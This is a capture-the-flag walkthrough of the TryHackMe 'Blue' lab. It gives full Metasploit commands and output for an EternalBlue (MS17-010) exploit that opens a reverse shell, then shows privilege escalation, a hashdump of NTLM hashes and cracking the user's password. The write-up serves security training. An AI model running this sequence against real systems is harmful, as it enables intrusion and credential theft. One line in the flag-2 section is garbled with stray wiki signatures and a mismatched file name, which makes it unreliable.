TryHackMe-Blue
Blue - Deploy & hack into a Windows machine, leveraging common misconfigurations issues.
[Task 1] Recon 19/03/2019
Description
Scan and learn what exploit this machine is vulnerable to. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.
Link to Ice, the sequel to Blue: Link
You can check out the third box in this series, Blaster, here: Link
The virtual machine used in this room (Blue) can be downloaded for offline usage from https://darkstar7471.com/resources.html
Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.
#1.1
Scan the machine. (If you are unsure how to tackle this, I recommend checking out the room RP: Nmap)
$ sudo nmap -sV -sS -p- 10.10.130.234 [sudo] password for unknown: Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-30 19:57 CEST Stats: 0:00:43 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 29.12% done; ETC: 20:00 (0:01:45 remaining) Stats: 0:02:51 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 33.33% done; ETC: 20:01 (0:00:32 remaining) Stats: 0:02:54 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 44.44% done; ETC: 20:01 (0:00:24 remaining) Nmap scan report for 10.10.130.234 Host is up (0.073s latency). Not shown: 65526 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 215.47 seconds
#1.2
How many ports are open with a port number under 1000?
Answer: 3
#1.3
What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067) Hint: Revealed by the ShadowBrokers, exploits an issue within SMBv1
ms17-010
You can confirm it with the following nmap script: https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse
$ nmap -p 445 --script smb-vuln-ms17-010 10.10.130.234 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-30 20:10 CEST Nmap scan report for 10.10.130.234 Host is up (0.075s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
[Task 2] Gain Access
Description
Exploit the machine and gain a foothold.
#2.1
Start Metasploit
msfconsole
#2.2
Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)
First search for ms17-010:
msf5 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
We’ll run this exploit: exploit/windows/smb/ms17_010_eternalblue
#2.3
Show options and set the one required value. What is the name of this value? (All caps for submission)
msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
Required option: RHOST
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.10.130.234 RHOST => 10.10.130.234 msf5 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.130.234 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
#2.4
Run the exploit!
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 10.9.35.106:4444 [*] 10.10.130.234:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.130.234:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.130.234:445 - Scanned 1 of 1 hosts (100% complete) [*] 10.10.130.234:445 - Connecting to target for exploitation. [+] 10.10.130.234:445 - Connection established for exploitation. [+] 10.10.130.234:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.130.234:445 - CORE raw buffer dump (42 bytes) [*] 10.10.130.234:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.130.234:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.130.234:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.130.234:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.130.234:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.130.234:445 - Sending all but last fragment of exploit packet [*] 10.10.130.234:445 - Starting non-paged pool grooming [+] 10.10.130.234:445 - Sending SMBv2 buffers [+] 10.10.130.234:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.130.234:445 - Sending final SMBv2 buffers. [*] 10.10.130.234:445 - Sending last fragment of exploit packet! [*] 10.10.130.234:445 - Receiving response from exploit packet [+] 10.10.130.234:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.130.234:445 - Sending egg to corrupted connection. [*] 10.10.130.234:445 - Triggering free of corrupted buffer. [*] Command shell session 1 opened (10.9.35.106:4444 -> 10.10.130.234:49231) at 2020-04-30 11:46:47 -0700 [+] 10.10.130.234:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.130.234:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.130.234:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Press ENTER for the DOS shell to appear
#2.5
Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
- Press ENTER to enter into the shell
- Press CTRL+Z and select “y” to background the shell
[...SNIP...] [+] 10.10.126.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.126.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.126.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <ENTER> C:\Windows\system32>^Z Background session 1? [y/N] y
[Task 3] Escalate
Description
Escalate privileges, learn how to upgrade shells in metasploit.
#3.1
If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected).
Hint: Google this: shell_to_meterpreter
msf5 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
#3.2
Select this (use MODULE_PATH). Show options, what option are we required to change? (All caps for answer)
msf5 post(multi/manage/shell_to_meterpreter) > show options Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on.
Required option: SESSION
#3.3
Set the required option, you may need to list all of the sessions to find your target here.
Hint: sessions -l
msf5 post(multi/manage/shell_to_meterpreter) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.9.35.106:4444 -> 10.10.126.60:49168 (10.10.126.60) msf5 post(multi/manage/shell_to_meterpreter) > set SESSION 1 SESSION => 1 msf5 post(multi/manage/shell_to_meterpreter) > show options Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION 1 yes The session to run this module on.
#3.4
Run! If this doesn’t work, try completing the exploit from the previous task once more. Hint: Command: run (or exploit)
msf5 post(multi/manage/shell_to_meterpreter) > run [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.9.35.106:4433 [*] Post module execution completed [*] Sending stage (176195 bytes) to 10.10.126.60 [*] Meterpreter session 2 opened (10.9.35.106:4433 -> 10.10.126.60:49185) at 2020-04-30 23:17:33 -0700 [*] Stopping exploit/multi/handler msf5 post(multi/manage/shell_to_meterpreter) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.9.35.106:4444 -> 10.10.126.60:49168 (10.10.126.60) 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ JON-PC 10.9.35.106:4433 -> 10.10.126.60:49185 (10.10.126.60)
#3.5
Once the meterpreter shell conversion completes, select that session for use. Hint: sessions SESSION_NUMBER
msf5 post(multi/manage/shell_to_meterpreter) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.9.35.106:4444 -> 10.10.126.60:49168 (10.10.126.60) 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ JON-PC 10.9.35.106:4433 -> 10.10.126.60:49185 (10.10.126.60) msf5 post(multi/manage/shell_to_meterpreter) > sessions 2 [*] Starting interaction with 2... meterpreter >
#3.6
Verify that we have escalated to NT AUTHORITY. Run getsystem to confirm this. Feel free to open a dos shell via the command ‘shell’ and run ‘whoami’. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.
msf5 post(multi/manage/shell_to_meterpreter) > sessions 2 [*] Starting interaction with 2... meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > shell Process 2768 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
#3.7
List all of the processes running via the ‘ps’ command. Just because we are system doesn’t mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITYand write down the process id (far left column).
meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe 492 712 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 564 556 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe 612 556 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe 620 712 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 624 604 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe 664 604 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe 712 612 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe 720 612 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe 728 612 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe 800 2808 mscorsvw.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe 808 1816 powershell.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 836 712 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 904 712 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe 952 712 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 1020 664 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\LogonUI.exe 1088 712 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 1192 712 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe 1244 712 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe 1292 564 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe 1316 712 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe 1352 712 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 1416 712 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe 1492 712 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xentools\LiteAgent.exe 1632 712 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe 1968 712 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe 2104 836 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe 2256 1316 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\cmd.exe 2392 564 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe 2452 564 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe 2484 808 powershell.exe x86 0 NT AUTHORITY\SYSTEM C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe 2648 712 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe 2768 2484 cmd.exe x86 0 NT AUTHORITY\SYSTEM C:\Windows\SysWOW64\cmd.exe 2808 712 mscorsvw.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe 2840 712 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 2872 712 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe 2912 712 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 2984 712 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe meterpreter >
#3.7
Migrate to this process using the ‘migrate PROCESS_ID’ command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.
Let’s migrate to PID 2912 (svchost.exe):
meterpreter > migrate 2912 [*] Migrating from 2484 to 2912... [*] Migration completed successfully.
[Task 4] Cracking
Description
Dump the non-default user’s password and crack it!
T4.1
Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Answer: Jon
T4.2
Copy this password hash to a file and research how to crack it. What is the cracked password?
Hint: This password can be found within the rockyou.txt wordlist.
$ ./john --format=NT --wordlist=rockyou.txt hashdump.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
(Administrator)
alqfna22 (Jon)
2g 0:00:00:00 DONE (2020-05-01 09:08) 3.278g/s 16721Kp/s 16721Kc/s 16729KC/s alr1979..alpus
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
John the Ripper has found the password associated to Jon: alqfna22
[Task 5] Find flags!
Description
Find the three flags planted on this machine.
T5.1
Flag1? (Only submit the flag contents {CONTENTS})
Let’s move to the root directory to see how the file system looks like:
C:\Windows\system32>cd \
cd \
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is E611-0B66
Directory of C:\
03/17/2019 02:27 PM 24 flag1.txt
07/13/2009 10:20 PM <DIR> PerfLogs
04/12/2011 03:28 AM <DIR> Program Files
03/17/2019 05:28 PM <DIR> Program Files (x86)
12/12/2018 10:13 PM <DIR> Users
03/17/2019 05:36 PM <DIR> Windows
1 File(s) 24 bytes
5 Dir(s) 20,408,102,912 bytes free
Our first flag is located at the root of C:\
C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
C:\>
T5.2
Flag2? Errata: Windows really doesn’t like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.
Let’s search for the other flags:
C:\>dir *flag* /s /b dir *flag* /s /b C:\flag1.txt C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk C:\Users\Jon\Documents\flag3.txt C:\Windows\System32\config\flag2.txt
Our second flag: Sebastien.damaye (talk) C:>type 322.txt type 322.txt flag{sam_database_elevated_access} Sebastien.damaye (talk)
T5.3
flag3?
C:\>type \users\jon\documents\flag3.txt
type \users\jon\documents\flag3.txt
flag{admin_documents_can_be_valuable}